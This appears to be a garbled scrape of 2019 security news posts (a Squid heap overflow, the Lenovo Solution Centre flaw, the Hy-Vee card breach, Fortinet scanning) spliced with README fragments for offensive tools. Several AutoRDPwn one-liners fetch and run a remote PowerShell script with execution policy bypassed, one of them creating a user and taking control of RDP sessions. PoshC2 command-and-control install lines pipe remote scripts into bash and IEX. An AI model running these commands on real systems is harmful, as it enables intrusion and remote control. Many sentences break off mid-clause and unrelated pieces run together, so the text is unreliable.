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Computer systems in modern vehicles are very complex, they contain a huge quantity of devices and units that exchange a lot of data in real-time.
These components communicate via the vehicle’s network, dubbed Controller Area Network (CAN). Modern cars have multiple CAN buses combined with a gateway.
These components run software that could be potentially affected by security
Cisco has released a new hardware open-source tool called 4CAN that aims to help the automotive industry in security vehicles.
Researchers could use 4CAN to test their on-board computers for potential security flaws, according to the company it is very easy to use. Vehicles analyzed by Cisco’s researchers have 4 CAN buses all connected to the same gateway.
“A typical vehicle setup has multiple CAN buses combined with a gateway to arbitrate access between the CAN
Cisco explained that 4CAN has been designed to achieve the following goals:
The 4CAN project is loosely based on the IndustrialBerry QUAD CAN BUS adapter for Raspberry CanBerry.
“Using 4CAN, the test bench setup is vastly simplified. With a single Raspberry Pi, we can simultaneously test four CAN channels, and since the 4CAN exposes the entire 40-pin GPIO header, we can remotely control the test vehicle,” Cisco continues.
The 4CAN tool is available on GitHub, licensed under a Creative Commons Attribution Share-Alike license.
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The post Cisco released 4CAN hardware tool to find flaws in automotive computers appeared first on Security Affairs.
Grant West, aka ‘Courvoisier,’ is a hacker that was arrested by the police on September 2017 as
The man was charged with multiple hacking and drug-related crimes.
In December he pleaded guilty and earlier this year, a UK court sentenced West to 10 years and eight months in prison.
West
“West was responsible for attacks on more than 100 companies worldwide. He predominately used ‘phishing’ email scams to obtain the financial data of tens of thousands of customers. West would then sell this personal data in different market places on the dark web.” reads a statement from Metropolitan Police Service (MPS).
“He would then convert the profit made from selling financial details online into
When the man was arrested the Metropolitan Police Cyber Crime Unit (MPCCU) raided his home and seized an SD card containing approximately 78 million individual usernames and passwords as well as 63,000 credit and debit card details.
The police also seized around £1.6 million in
Authorities also seized a laptop of the West’s girlfriend that was containing personal financial information of more than 100,000 people.
West has been accused to have conducted phishing scams on the websites of 17 major companies including Uber, Sainsbury’s, Nectar, Groupon, T Mobile, AO.com, Argos, the Finnish Bitcoin exchange, the British Cardiovascular Society, Truly Experiences Ltd, and M R Porter.
West was also very active in the sale of cannabis on the dark web.
Now the Southwark Crown Court judge ordered him to pay back more than $1.1 million (over £922,000) using Bitcoins and other
The funds were confiscated under the Proceeds of Crime Act, in case West refused the confiscation order, he would serve a further four years in jail.
“The confiscation of the
“The
“The MPS is committed to ensuring that individuals who are committing
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The post Hacker will compensate victims with $1.1 million Bitcoin illegally earned appeared first on Security Affairs.
pip install ldap3 dnspythonpython setup.py install from the git source, or for the latest release with pip install ldapdomaindump.python ldapdomaindump.py
python -m ldapdomaindump
ldapdomaindump
usage: ldapdomaindump.py [-h] [-u USERNAME] [-p PASSWORD] [-at {NTLM,SIMPLE}]
[-o DIRECTORY] [--no-html] [--no-json] [--no-grep]
[--grouped-json] [-d DELIMITER] [-r] [-n DNS_SERVER]
[-m]
HOSTNAME
Domain information dumper via LDAP. Dumps users/computers/groups and
OS/membership information to HTML/JSON/greppable output.
Required options:
HOSTNAME Hostname/ip or ldap://host:port connection string to
connect to (use ldaps:// to use SSL)
Main options:
-h, --help show this help message and exit
-u USERNAME, --user USERNAME
DOMAIN\username for authentication, leave empty for
anonymous authentication
-p PASSWORD, --password PASSWORD
Password or LM:NTLM hash, will prompt if not specified
-at {NTLM,SIMPLE}, --authtype {NTLM,SIMPLE}
Authentication type (NTLM or SIMPLE, default: NTLM)
Output options:
-o DIRECTORY, --outdir DIRECTORY
Directory in which the dump will be saved (default:
current)
--no-html Disable HTML output
--no-json Disable JSON output
--no-grep Disable Greppable output
--grouped-json Also write json files for grouped files (default:
disabled)
-d DELIMITER, --delimiter DELIMITER
Field delimiter for greppable output (default: tab)
Misc options:
-r, --resolve Resolve computer hostnames (might take a while and
cause high traffic on large networks)
-n DNS_SERVER, --dns-server DNS_SERVER
Use custom DNS resolver instead of system DNS (t ry a
domain controller IP)
-m, --minimal Only query minimal set of attributes to limit memmory
usage--minimal switch..json files to CSV files suitable for BloodHound. The utility is called ldd2bloodhound and is added to your path upon installation. Alternatively you can run it with python -m ldapdomaindump.convert or with python ldapdomaindump/convert.py if you are running it from the source. The conversion tool will take the users/groups/computers/trusts .json file and convert those to group_membership.csv and trust.csv which you can add to BloodHound.The heap buffer overflow security flaw, tracked as CVE-2019-12527, could be exploited by attackers to trigger
The flaw received a high severity CVSS v3
The flaw affects Squid 4.0.23 through 4.7, the root
“Due to incorrect buffer management Squid is vulnerable to a heap overflow and possible remote code execution attack when processing HTTP Authentication credentials.” reads the security advisory.
“This allows a malicious client to write a substantial amount of arbitrary data to the heap. Potentially gaining ability to execute arbitrary code. On systems with memory access protections this can result in the Squid process being terminated unexpectedly. Resulting in a denial of service for all clients using the proxy. This issue is limited to traffic accessing the Squid Cache Manager reports or using the FTP protocol gateway.”
Squid team pointed out that the problem is limited to the traffic accessing the Cache Manager reports or using the FTP protocol gateway.
Squid development team addressed the flaw with the release of Squid 4.8 on July 9.
The security advisory recommends the following workarounds for servers that can’t be patched:
Deny ftp:// protocol URLs being proxied and Cache Manager report access to all clients:
acl FTP proto FTP
http_access deny FTP
http_access deny manager
Or,
Build Squid with --disable-auth -basic
An interesting technical analysis of the vulnerability was published by Trend Micro on the website of the Zero-day initiative.
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The post Buffer overflow exposes unpatched Squid servers to RCE and DoS attacks appeared first on Security Affairs.
The American multinational financial services corporation noti
The data leaked online includes customers’ names, payment card numbers, email addresses, home addresses, phone numbers, gender, and dates of birth.
“The Belgian Data Protection Authority (DPA) as well as the Hessian authority of Germany have been notified by Mastercard company of a data breach detected on 19 August 2019 which would have affected a large number of data subjects, a significant portion of which would be German customers.” reads the press release published by the Belgian Data Protection Authority.“Since the main establishment of Mastercard is located in Waterloo, the Belgian DPA is working closely with its Hessian counterpart and the other competent authorities to defend the interests of the persons affected by this incident.“
“Based on the facts known at this time, the following personal information is affected: payment card number, title, name, date of birth, gender, mailing address, e-mail address and telephone number and the time of first registration with Priceless Specials. Neither access data nor passwords were published. The expiration date of payment cards and the check digit (CVC) were also not published.” states MasterCard.
In response to the data leak, Mastercard suspended the German Priceless Specials and took down its website. The website displays the following message.
“We have received a lot of questions and complaints since the announcement of this incident, we want to reassure users: we have contacted MasterCard in order to get additional information, and are following this case closely together with the Hessian data protection authority and all the other possible concerned authorities.” said David Stevens, Chairman of the Belgian Data Protection Authority.
The data breach was discovered after the loyalty program data was leaked online on August 19. MasterCard immediately took action to remove the information, but on August 21, a second file was published online
“On August 21, 2019, we became aware that a second file of personal information was published on the Internet. We are working to remove them as well.”
According to
Mastercard immediately launched an investigation and informed authorities, it is also actively monitoring whether stolen info is posted online.
“We are working closely with the relevant authorities to investigate this incident,” adds Mastecard also stating that they are “currently reviewing our security safeguards to protect this information to identify appropriate improvements to protect against similar incidents in the future.”
Impacted customers have been notified about the data leak, MasterCard will offer them one-year free credit monitoring and identity theft prevention service.
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The post Mastercard data breach affected Priceless Specials loyalty program appeared first on Security Affairs.
Security experts at Pen Test Partners (PTP) discovered a privilege-escalation vulnerability in Lenovo Solution Centre (LSC) that exists since 2011.
“A vulnerability reported in Lenovo Solution Center version 03.12.003, which is no longer supported, could allow log files to be written to non-standard locations, potentially leading to privilege escalation.” read the security advisory published by Lenovo. “Lenovo ended support for Lenovo Solution Center and recommended that customers migrate to Lenovo Vantage or Lenovo Diagnostics in April 2018.”
The vulnerability tracked as CVE-2019-6177 could be exploited by attackers to escalate privileges.
The company attempted to downplay the severity of the issue highlighting that the product is no longer supported, even if most of the laptops running of the Chinese vendor, Windows OS, are shipped with the flawed software.
“We found a privilege escalation vulnerability in the Lenovo Solution Centre (LSC) software, which came pre-installed on many Windows-based Lenovo devices.” states the post published by Pen Test Partners.
“The bug itself is a DACL (discretionary access control list) overwrite, which means that a high-privileged Lenovo process indiscriminately overwrites the privileges of a file that a low-privileged user is able to control. In this scenario, a low-privileged user can write a ‘
The experts explained that the Lenovo Solution Centre adds a task at “\Lenovo\Lenovo Solution Center Launcher”, which runs with “highest privileges”.
The task created by the LSC runs the LSC.Services.UpdateStatusService.exe binary 10 minutes after a login event.
The binary executed by the scheduled task overwrites the DACL of the Lenovo product’s logs folder, giving everyone in the Authenticated Users
In order to exploit the flaw, attackers have to create a
It is quite easy for an attacker with access to the machine to run arbitrary code with administrator-level privileges.
“Then you log out, log in, and 10 minutes later, the hosts file DACL will be overwritten.” wrote the researchers.
The only way to fix the issue is to
Pen Test Partners criticized the way Lenovo managed the report of the flaw
“But just after their disclosure went out, we noticed they had changed the end of life date to make it look like it went end of life even before the last version was released.”
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(SecurityAffairs – Lenovo Solution Centre, hacking)
The post Lenovo Solution Centre flaw allows hacking Windows laptop in 10 minutes appeared first on Security Affairs.
Malware researchers at Trend Micro discovered a new variant of the Asruex Trojan that exploits old Microsoft Office and Adobe vulnerabilities to infect Windows and Mac systems.
“However, when we encountered Asruex in a PDF file, we found that a variant of the malware can also act as an
CVE-2012-0158 is a critical remote code execution (RCE) vulnerability that affected Microsoft Office
CVE-2010-2883 is a stack buffer overflow flaw that could be exploited by attackers to execute arbitrary code or trigger a denial of service condition.
The attack chain leverages a shortcut file that has a PowerShell download script, and spreads through removable drives and network drives.
The use of exploits for well-known vulnerabilities that have been already patc
Because of this unique infection capability, security researchers might not consider checking files for an Asruex infection and continue to watch out for its backdoor abilities exclusively. Awareness of this new infection method could help users defend against the malware variant.
Trend Micro researchers discovered the new Asruex
Researchers reported that attackers also used
“This Asruex variant compresses and encrypts the original executable file or host file and appends it as its
Once executed on a machine, Asruex will check the following information to determine if it is running in a sandbox environment:
If the
“This case is notable for its use of vulnerabilities that have been discovered (and patched) over five years ago, when we’ve been seeing this malware variant in the wild for only a year,” Trend Micro concludes. “This hints that the
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(SecurityAffairs – Asruex Trojan, malware)
The post A new variant of Asruex Trojan exploits very old Office, Adobe flaws appeared first on Security Affairs.
The popular
Fortigate Fortinet SSL VPN is being exploited in the wild since last night at scale using 1996 style ../../ exploit – if you use this as a security boundary, you want to patch ASAP https://t.co/IaBSqZJ9iS
— Kevin Beaumont (@GossiTheDog) August 22, 2019
The CVE-2018-13379 is a path traversal vulnerability in the
“A path traversal vulnerability in the
The CVE-2019-11510 flaw in Pulse Connect Secure is a critical arbitrary file read vulnerability.
“Unauthenticated remote attacker with network access via HTTPS can send a specially crafted URI to perform an arbitrary file reading vulnerability.” reads the advisory.
The vulnerabilities were first reported in July by researchers Orange Tsai and Meh Chang from DEVCORE that found several flaws in Fortinet, Palo Alto Networks and Pulse Secure products. The issues could be exploited by threat actors to access corporate networks and steal sensitive documents.
The security duo shared the results of their analysis at the Black Hat and DEFCON hacking conferences and proof-of-concept (PoC) exploits were publicly disclosed after their talks.
Even if the impacted vendors have released security advisories for the vulnerabilities discovered by the experts, attackers are attempting to exploit them in attacks in the wild.
Fortigate are calling this issue in FortiOS a “vulnerability” but to be clear it’s actually a major backdoor.
— Kevin Beaumont (@GossiTheDog) August 22, 2019
The backdoor code is flat out there in the OS, it even needs a ‘secret’ code typed to trigger it.
How did a major firewall vendor (almost 500k IPs) end up backdoored? https://t.co/GzCNXqtxDj
Beaumont pointed out that an attacker could exploit the CVE-2018-13379 flaw to obtain administrator credentials in plain text, using the
Beaumont detected scanning activity aimed at vulnerable Fortinet systems on August 21, while he spotted threat actors targeting Pulse Secure systems on August 22.
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(SecurityAffairs – Pulse Security Products, hacking)
The post Hackers are scanning the web for vulnerable Fortinet, Pulse Secure Products installs appeared first on Security Affairs.
ZigDiggity a ZigBee Hacking Toolkit is a Python-based IoT (Internet of Things) penetration testing framework targeting the ZigBee smart home protocol.
ZigBee continues to grow in popularity as a method for providing simple wireless communication between devices (i.e. low power/traffic, short distance), & can be found in a variety of consumer products that range from smart home automation to healthcare. Security concerns introduced by these systems are just as diverse and plentiful, underscoring a need for quality assessment tools.
Read the rest of ZigDiggity – ZigBee Hacking Toolkit now! Only available at Darknet.
powershell -ep bypass "cd $ env: temp; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1"powershell -ep bypass "cd $ env: temp; iwr https://darkbyte.net/autordpwn.php -outfile AutoRDPwn.ps1 ; .\AutoRDPwn.ps1 -admin -nogui -lang English -option 4 -shadow control -createuser"
The Ukrainian Secret Service (SBU) launched an investigation after employees at a local nuclear power plant connected some systems of the internal network to the Internet to mine cryptocurrency.
The incident was first reported by the Ukrainian news site UNIAN.
Nuclear power plants are critical infrastructure, such kind of incident could potentially expose high-sensitive information.
The security incident has happened in July at the South Ukraine Nuclear Power Plant at Yuzhnoukrainsk, in the south of the country.
On July 10, agents of the SBU raided the nuclear power plant and discovered the equipment used by the employees to mining
The equipment was discovered present in the power plant’s administration offices.
The Ukrainian authorities are currently investigating if any attackers may have had access to exposed systems to information that could threaten national security.
The SBU seized equipment composed of two metal cases containing that included coolers and video cards
“Further, the SBU also found and seized additional equipment[1, 2] that looked like mining rigs in the building used as barracks by a military unit of the National Guard of Ukraine, tasked with guarding the power plant.” reported ZDnet.
The authorities have charged several employees, but at the time, none was arrested.
In February 2018, a similar incident took place in Russia. Russian authorities arrested some employees at the Russian Federation Nuclear Center facility because they were suspected of trying to use a supercomputer at the plant to mine Bitcoin.
In April 2018, an employee at the Romanian National Research Institute for Nuclear Physics and Engineering an employee abused institute’s electrical network to mine cryptocurrency.
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(SecurityAffairs – nuclear power plant, hacking)
The post Employees abused systems at Ukrainian nuclear power plant to mine cryptocurrency appeared first on Security Affairs.
Cisco has updated security advisories for three
According to the Cisco Product Security Incident Response Team (PSIRT), public exploit code for these flaws is available online.
One of the vulnerabilities is critical remote code execution tracked as CVE-2019-1913, an attacker could exploit this flaw to execute arbitrary code with root privileges on the underlying operating system.
“Multiple vulnerabilities in the web management interface of Cisco Small Business 220 Series Smart Switches could allow an
“The vulnerabilities are due to insufficient validation of user-supplied input and improper boundary checks when reading data into an internal buffer. An attacker could exploit these vulnerabilities by sending malicious requests to the web management interface of an affected device. Depending on the configuration of the affected switch, the malicious requests must be sent via HTTP or HTTPS.
Another flaw is an authentication bypass security flaw tracked as CVE-2019-1912 that resides in the web management interface of Cisco Small Business 220 Series Smart Switches. The flaw could be exploited by an attacker to modify the configuration of an affected device or to inject a reverse shell.
“A vulnerability in the web management interface of Cisco Small Business 220 Series Smart Switches could allow an
“The vulnerability is due to incomplete authorization checks in the web management interface. An attacker could exploit this vulnerability by sending a malicious request to certain parts of the web management interface. Depending on the configuration of the affected switch, the malicious request must be sent via HTTP or HTTPS. A successful exploit could allow the attacker to modify the configuration of an affected device or to inject a reverse shell.”
The third flaw is a command injection vulnerability tracked as CVE-2019-1914 that could be exploited by an authenticated, remote attackers launch a command injection attack.
The good news is that Cisco is not aware of attacks exploiting the above issues.
“The Cisco Product Security Incident Response Team (PSIRT) is aware of the existence of public exploit code. Cisco PSIRT is not aware of malicious use of the vulnerability that is described in this advisory.” states Cisco.
Cisco also released security patches to address 17 critical and high-severity vulnerabilities affecting some Cisco Unified Computing products (UCS) and Integrated Management Controller (IMC)
Also for these flaws, Cisco confirmed it is not aware of attacks in the wild that have exploited them.
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(SecurityAffairs – Cisco Small Business, hacking)
The post Cisco warns of the availability of public exploit code for critical flaws in Cisco Small Business switches appeared first on Security Affairs.
On Tuesday of this week, one of the more popular underground stores peddling credit and debit card data stolen from hacked merchants announced a blockbuster new sale: More than 5.3 million new accounts belonging to cardholders from 35 U.S. states. Multiple sources now tell KrebsOnSecurity that the card data came from compromised gas pumps, coffee shops and restaurants operated by Hy-Vee, an Iowa-based company that operates a chain of more than 245 supermarkets throughout the Midwestern United States.
Hy-Vee, based in Des Moines, announced on Aug. 14 it was investigating a data breach involving payment processing systems that handle transactions at some Hy-Vee fuel pumps, drive-thru coffee shops and restaurants.
The restaurants affected include Hy-Vee Market Grilles, Market Grille Expresses and Wahlburgers locations that the company owns and operates. Hy-Vee said it was too early to tell when the breach initially began or for how long intruders were inside their payment systems.
But typically, such breaches occur when cybercriminals manage to remotely install malicious software on a retailer’s card-processing systems. This type of point-of-sale malware is capable of copying data stored on a credit or debit card’s magnetic stripe when those cards are swiped at compromised payment terminals. This data can then be used to create counterfeit copies of the cards.
Hy-Vee said it believes the breach does not affect payment card terminals used at its grocery store checkout lanes, pharmacies or convenience stores, as these systems rely on a security technology designed to defeat card-skimming malware.
“These locations have different point-of-sale systems than those located at our grocery stores, drugstores and inside our convenience stores, which utilize point-to-point encryption technology for processing payment card transactions,” Hy-Vee said. “This encryption technology protects card data by making it unreadable. Based on our preliminary investigation, we believe payment card transactions that were swiped or inserted on these systems, which are utilized at our front-end checkout lanes, pharmacies, customer service counters, wine & spirits locations, floral departments, clinics and all other food service areas, as well as transactions processed through Aisles Online, are not involved.”
According to two sources who asked not to be identified for this story — including one at a major U.S. financial institution — the card data stolen from Hy-Vee is now being sold under the code name “Solar Energy,” at the infamous Joker’s Stash carding bazaar.
An ad at the Joker’s Stash carding site for “Solar Energy,” a batch of more than 5 million credit and debit cards sources say was stolen from customers of supermarket chain Hy-Vee.
Hy-Vee said the company’s investigation is continuing.
“We are aware of reports from payment processors and the card networks of payment data being offered for sale and are working with the payment card networks so that they can identify the cards and work with issuing banks to initiate heightened monitoring on accounts,” Hy-Vee spokesperson Tina Pothoff said.
The card account records sold by Joker’s Stash, known as “dumps,” apparently stolen from Hy-Vee are being sold for prices ranging from $17 to $35 apiece. Buyers typically receive a text file that includes all of their dumps. Those individual dumps records — when encoded onto a new magnetic stripe on virtually anything the size of a credit card — can be used to purchase stolen merchandise in big box stores.
As noted in previous stories here, the organized cyberthieves involved in stealing card data from main street merchants have gradually moved down the food chain from big box retailers like Target and Home Depot to smaller but far more plentiful and probably less secure merchants (either by choice or because the larger stores became a harder target).
It’s really not worth spending time worrying about where your card number may have been breached, since it’s almost always impossible to say for sure and because it’s common for the same card to be breached at multiple establishments during the same time period.
Just remember that while consumers are not liable for fraudulent charges, it may still fall to you the consumer to spot and report any suspicious charges. So keep a close eye on your statements, and consider signing up for text message notifications of new charges if your card issuer offers this service. Most of these services also can be set to alert you if you’re about to miss an upcoming payment, so they can also be handy for avoiding late fees and other costly charges.
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bashwget https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh
chmod +x ./Install.sh
./Install.shcurl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/python2/Install.sh | bashwget https://raw.githubusercontent.com/nettitude/PoshC2_Python/python2/Install.sh
chmod +x ./Install.sh
./Install.shpowershell -exec bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.ps1')"git tag --listcurl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/<tag name>/Install.sh | bashcurl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/v4.8/Install.sh | bashgit reset --hard <tag name>git reset --hard v4.8posh-config to open it in $EDITOR. If this variable is not set then it defaults to vim, or you can use --nano to open it in nano.posh-server or python3 -u C2Server.py | tee -a /var/log/poshc2_server.log
posh-log or tail -n 5000 -f /var/log/poshc2_server.log
posh or python3 ImplantHandler.py
cp poshc2.service /lib/systemd/system/poshc2.serviceposh-serviceposh-logjournalctl -n 20000 -u poshc2.service -f --output catposh-service will restart the posh-service. Running posh-service will automatically start to display the log, but Ctrl-C will not stop the service only quit the log in this case posh-log can be used to re-view the log at any point. posh-stop-service can be used to stop the service.pip install virtualenv
virtualenv /opt/PoshC2_Python/
source /opt/PoshC2_Python/bin/activate
pip install -r requirements.txt
python C2Server.pyposh- scripts on *nix.Cisco has released security fixes to address 17 critical and high-severity vulnerabilities affecting some Cisco Unified Computing products.
Most of the flaws
The critical flaws impacting the CISCO UCS addressed by the tech giant are CVE-2019-1937, CVE-2019-1974, CVE-2019-1935 and CVE-2019-1938. These flaws could be exploited by remote, unauthenticated attackers to gain elevated privileges, including administrator permissions, on the targeted system.
A remote attacker could exploit the vulnerabilities by sending specially crafted requests and abusing default credentials.
“A vulnerability in the web-based management interface of Cisco Integrated Management Controller (IMC) Supervisor, Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an unauthenticated, remote attacker to acquire a valid session token with administrator privileges, bypassing user authentication.” reads the advisory for the CVE-2019-1937 flaw.
“The vulnerability is due to
Cisco addressed also multiple
Some of the flaws addressed by Cisco have been reported by the security researcher Pedro Ribeiro, aka “
The good news is that Cisco is not aware of attacks in the wild that have exploited the flaws in UCS and IMC products.
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The post Cisco addressed several vulnerabilities in UCS products appeared first on Security Affairs.
Since every organization is moving towards cloud, the roles and responsibilities of in-house security teams have increased a lot. Due to lack of complete ownership, security teams do not have visibility and control of the underlying/leased infrastructure. In this article, we will examine the security checklist for AWS which every security team should keep an […]
The post AWS Security Monitoring Checklist [Updated 2019] appeared first on Infosec Resources.
